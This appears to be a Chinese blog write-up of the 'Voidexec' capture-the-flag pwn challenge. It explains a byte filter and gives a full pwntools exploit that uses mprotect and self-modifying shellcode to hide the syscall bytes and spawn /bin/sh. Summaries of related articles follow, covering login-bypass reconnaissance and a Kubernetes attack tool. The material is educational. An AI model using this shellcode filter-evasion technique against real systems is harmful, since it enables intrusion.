[PWN]Voidexec"

admin 2026-10-22 00:12:09 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

[PWN] Voidexec

原创

漫路修行
漫路修行

微痕鉴远

2026年6月28日 10:55
广东

在小说阅读器读本章

去阅读

题目给了libc

mmap()

接着,使用 memset() 用0初始化了 100 bytes 分配的空间。

mprotect(__s, 100, 4);

4 = PROT_READ | PROT_EXEC — removes write access, retaining execution.

程序看起来很简单,就是用户输入,经过 forbidden函数检查,然后加权限然后执行。

int64 fastcall forbidden(int64 a1){  unsigned int64 i; // [rsp+10h] [rbp-10h]  for ( i = 0; i <= 0x62; ++i )  {    if ( (a1 + i) == 0xF || (a1 + i) == 0xCD && *(i + 1 + a1) == 0x80 )    {      puts(\"Forbidden!\");      return 1;    }  }  return 0;}

动态链接的程序,一开始以为是ret2libc,结果发现.plt.got表是空的

仔细看程序逻辑,发现直接通过指针执行用户输入。

但在执行之前,经过一个叫forbidden函数校验:

if ( *(a1 + i) == 15 || *(a1 + i) == 0xCD && *(i + 1 + a1) == 0x80 ){  puts(\"Forbidden!\");  return 1;}

不能出现 0xF,以及 0xCD 和 0x80 不能同时出现。

我们知道,在shellcode 中 cd 80 是系统调用中断。所以不能出现这个,必须要对shellcode进行处理。

但同时,需要注意,对shellcode的长度也是有所限制:

不能超过99个bytes。

测试了一下发现,好像无法同时满足对特征码和shellcode长度的要求。

解法:

  1. 先利用程序里面的mprotect修改内存空间执行权限。
  2. shellcode变形:动态计算syscall指令避免硬编码被过滤函数扫描到。
from pwn import *context.arch = 'amd64'  binary_path = './voidexec'elf = ELF(binary_path)p = process(binary_path)These offsets must be obtained from analyzing the local ELF binary#main_offset = 0x12eb # Replace with actual main offset#mprotect_offset = 0x1100 # Replace with actual mprotect PLT offset  main_offset = elf.symbols.mainmprotect_offset = elf.plt['mprotect']Base address is 0xc0de0000, length 100 bytesshellcode = asm(f\"\"\"/ Compute mprotect address from r13 (holds main at runtime) /lea rbx, [r13 - {main_offset} + {mprotect_offset}]mov rdi, 0xc0de0000 / address to change perms /mov rsi, 0x64 / length /mov rdx, 0x7 / PROT_READ | WRITE | EXEC /call rbx / mprotect(addr, len, prot) // Setup execve(\"/bin/sh\", NULL, NULL) /xor rsi, rsixor rdx, rdxmov rax, 0x3b / syscall: execve /mov rdi, 0x68732f6e69622fpush rdimov rdi, rsp/ Self-modifying syscall patch /inc byte ptr [rip + syscall]inc byte ptr [rip + syscall + 1]syscall:.byte 0x0e, 0x04 / placeholder for syscall /\"\"\")print(f\"[+] Sending {len(shellcode)} bytes of shellcode...\")p.recvuntil(b\"Send to void execution:\")p.sendline(shellcode)p.interactive()


十几种EDUSRC信息收集技巧+统一身份认证登录绕过分享" 网络安全文章

十几种EDUSRC信息收集技巧+统一身份认证登录绕过分享"

该文档详细介绍了针对EDUSRC(教育行业安全响应中心)的信息收集技巧与统一身份认证登录绕过方法。主要内容包括使用域名查询、邮箱收集、ICP备案检索、空间搜索引擎(FOFA/鹰图)、企查查/小蓝本等工具进行资产发现,并通过逻辑缺陷修改返回包参数(如false改为true)、爆破用户名、前端验证绕过等方式实现统一身份认证系统的未授权访问。文档还提供了针对特定系统开发商的通杀弱口令爆破策略及Google黑客语法等实操建议。
[PWN]Voidexec" 网络安全文章

[PWN]Voidexec"

该文档分析PWN题目Voidexec的解题思路,核心是通过mprotect修改内存权限并采用自修改shellcode技术绕过forbidden函数对0xF和0xCD80指令的检测。关键发现包括利用动态计算syscall地址避免硬编码、通过inc指令修改内存中的syscall字节码。可操作建议涉及使用lea指令计算函数地址、控制shellcode长度在99字节内。
下一代Kubernetes渗透测试平台|CDK容器渗透手法、AI驱动自动化攻击链 和 SOCKS5代理隧道内网K8s集群一键安全评估" 网络安全文章

下一代Kubernetes渗透测试平台|CDK容器渗透手法、AI驱动自动化攻击链 和 SOCKS5代理隧道内网K8s集群一键安全评估"

K8sPenTool-ngv2.0是一个基于Go+React全栈架构的Kubernetes渗透测试平台,融合CDK容器渗透技术、AI驱动的自动化攻击链和SOCKS5代理隧道功能。平台提供10个功能模块覆盖完整攻击链,包括初始访问、命令执行、权限维持等,支持多LLM提供商实现自动化渗透分析。工具零依赖运行且提供RESTAPI接口,适用于内网K8s集群安全评估场景。
AI时代下软件保护对抗的现状与趋势" 网络安全文章

AI时代下软件保护对抗的现状与趋势"

该文档基于Promon2026年Q1报告分析AI时代软件保护对抗现状,指出AI已具备一定反混淆能力但受架构和混淆层数限制,ARM移动应用目前更具抵抗力。关键发现包括分层混淆组合产生乘法效应、AI工具存在内生错误率、反编译器质量直接影响攻击效果。建议采用三层混淆基线、结合anti-decompilation技术、客户端与服务端协同防护,并建立持续AI对抗评估机制。
评论:0   参与:  0